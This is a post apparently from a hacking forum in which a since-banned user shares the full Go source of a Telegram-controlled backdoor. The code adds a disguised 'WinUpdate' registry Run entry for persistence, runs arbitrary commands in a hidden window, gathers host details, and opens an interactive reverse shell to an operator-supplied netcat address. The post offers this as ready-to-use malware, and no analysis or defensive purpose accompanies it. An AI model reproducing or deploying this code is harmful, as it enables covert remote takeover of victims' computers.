• XSS.stack #1 – первый литературный журнал от юзеров форума

golang telegram backdoor ( updated ) !!

stars4

RAID-массив
Забанен
Регистрация
05.08.2023
Сообщения
70
Реакции
12
Пожалуйста, обратите внимание, что пользователь заблокирован
hello this is my update for my telegram backdoor source code, enjoy this!!
new feature tcpshell, get interactive reverse shell for netcat work on linux and windows

command usage:
/tcpshell netcat_ip:netcat_port

Код:
package main

/*
  comment line with syscall.SysProcAttr and imported "syscall" package for compile
  on linux or other systems
*/
import (
     "os"
     "log"
     "net"
     "time"
     "sync"
     "runtime"
     "strconv"
     "os/exec"
     "syscall"
     "strings"
     tele "gopkg.in/telebot.v3"
)

var  (
     thread = sync.WaitGroup{}
     TOKEN  = "YOUR_TELEGRAM_BOT_API_TOKEN"
)

func SetPersistence() {
     defer thread.Done()
     mype,_ := os.Executable()
     per := exec.Command("cmd.exe", "/c", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \" /v WinUpdate /t REG_SZ /d \"" + mype + "\" /f")
     per.CombinedOutput()
}

func ExecCmd(Cmd string, botSender tele.Context) string {
     defer thread.Done()
     cmd := exec.Command("cmd.exe", "/c", Cmd)
     cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
     output, err := cmd.CombinedOutput()
     if err != nil {
        botSender.Send(err.Error())
        return ""
     }
     botSender.Send(string(output))
     return ""
}

func GetHelp() string {
     help := "/help     show this\n"
     help += "/exec     execute any command\n"
     help += "/cd       change working dir\n"
     help += "/pwd      get current worling dir\n"
     help += "/info     get basic info\n"
     help += "/pid      get this process pid\n"
     help += "/start    start bot message\n"
     help += "/tcpshell start revere netcat shell to address example (127.0.0.1:9090)\n"
     return help
}

func DeleteSpaces(Data string) string {
     return strings.ReplaceAll(Data, " ", "")
}

func Pwd() string {
     pwd,_ := os.Getwd()
     return pwd
}

func GetPid() string {
     return "process pid: " +  strconv.Itoa(os.Getpid())
}

func ChangeDir(Target string) string {
     if err := os.Chdir(Target); err != nil {
        if os.Chdir(strings.ReplaceAll(Target, " ", "")) != nil {
           return "error to change dir to " + Target
        } else {
           return Pwd()
        }
        return "error to change dir to " + Target
     }
     return Pwd()
}

func GetInfo() string {
     pwdc,_  := os.Getwd()
     execf,_ := os.Executable()
     core    := strconv.Itoa(runtime.NumCPU())
     plat    := runtime.GOOS + "/" + runtime.GOARCH
     info    := "\nbasic info\n"
     info    += "\npwd      : " + pwdc
     info    += "\npefile   : " + execf
     info    += "\ncores    : " + core
     info    += "\nplatform : " + plat
     return  info
}

func GetShellName() string {
     if runtime.GOOS == "windows" {
        return "cmd.exe"
     }
     return "/bin/sh"
}

func ReverseShell(Addr string) {
     shell := GetShellName()
     cmd := exec.Command(shell)
     defer thread.Done()
     con,err := net.Dial("tcp", DeleteSpaces(Addr))
     if err != nil {
        return
     }

/*
redirect shell output, error, input to tcp socket connection
*/
     cmd.Stderr = con
     cmd.Stdout = con
     cmd.Stdin  = con
     cmd.Run()
}

func Setup() {
     conf := tele.Settings{Token:  TOKEN,Poller: &tele.LongPoller{Timeout: 10 * time.Second},}

     bot, botErr := tele.NewBot(conf)

     if botErr != nil {
    log.Println(botErr.Error())
    return
     }

     bot.Handle("/start", func(sender tele.Context) error {
           return sender.Send("enjoy this access.. !")
     })

     bot.Handle("/exec", func(sender tele.Context) error {
           thread.Add(1)
           go ExecCmd(sender.Message().Payload, sender)
           return nil
     })

     bot.Handle("/pwd", func(sender tele.Context) error {
           return sender.Send(Pwd())
     })

     bot.Handle("/info", func(sender tele.Context) error {
           return sender.Send(GetInfo())
     })

     bot.Handle("/cd", func(sender tele.Context) error {
           return sender.Send(ChangeDir(sender.Message().Payload))
     })

     bot.Handle("/pid", func(sender tele.Context) error {
           return sender.Send(GetPid())
     })

     bot.Handle("/tcpshell", func(sender tele.Context) error {
           thread.Add(1)
           go ReverseShell(sender.Message().Payload)
           return sender.Send("starting reverse shell on " + sender.Message().Payload)
     })

     bot.Handle("/help", func(sender tele.Context) error {
           return sender.Send(GetHelp())
     })

     bot.Start()
}

func Loop() {
     defer thread.Done()
     thread.Add(1)
     go SetPersistence()

     for {
          Setup()
          time.Sleep(time.Second * 2)
     }
}

func main() {
     thread.Add(1)
     go Loop()
     thread.Wait()
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх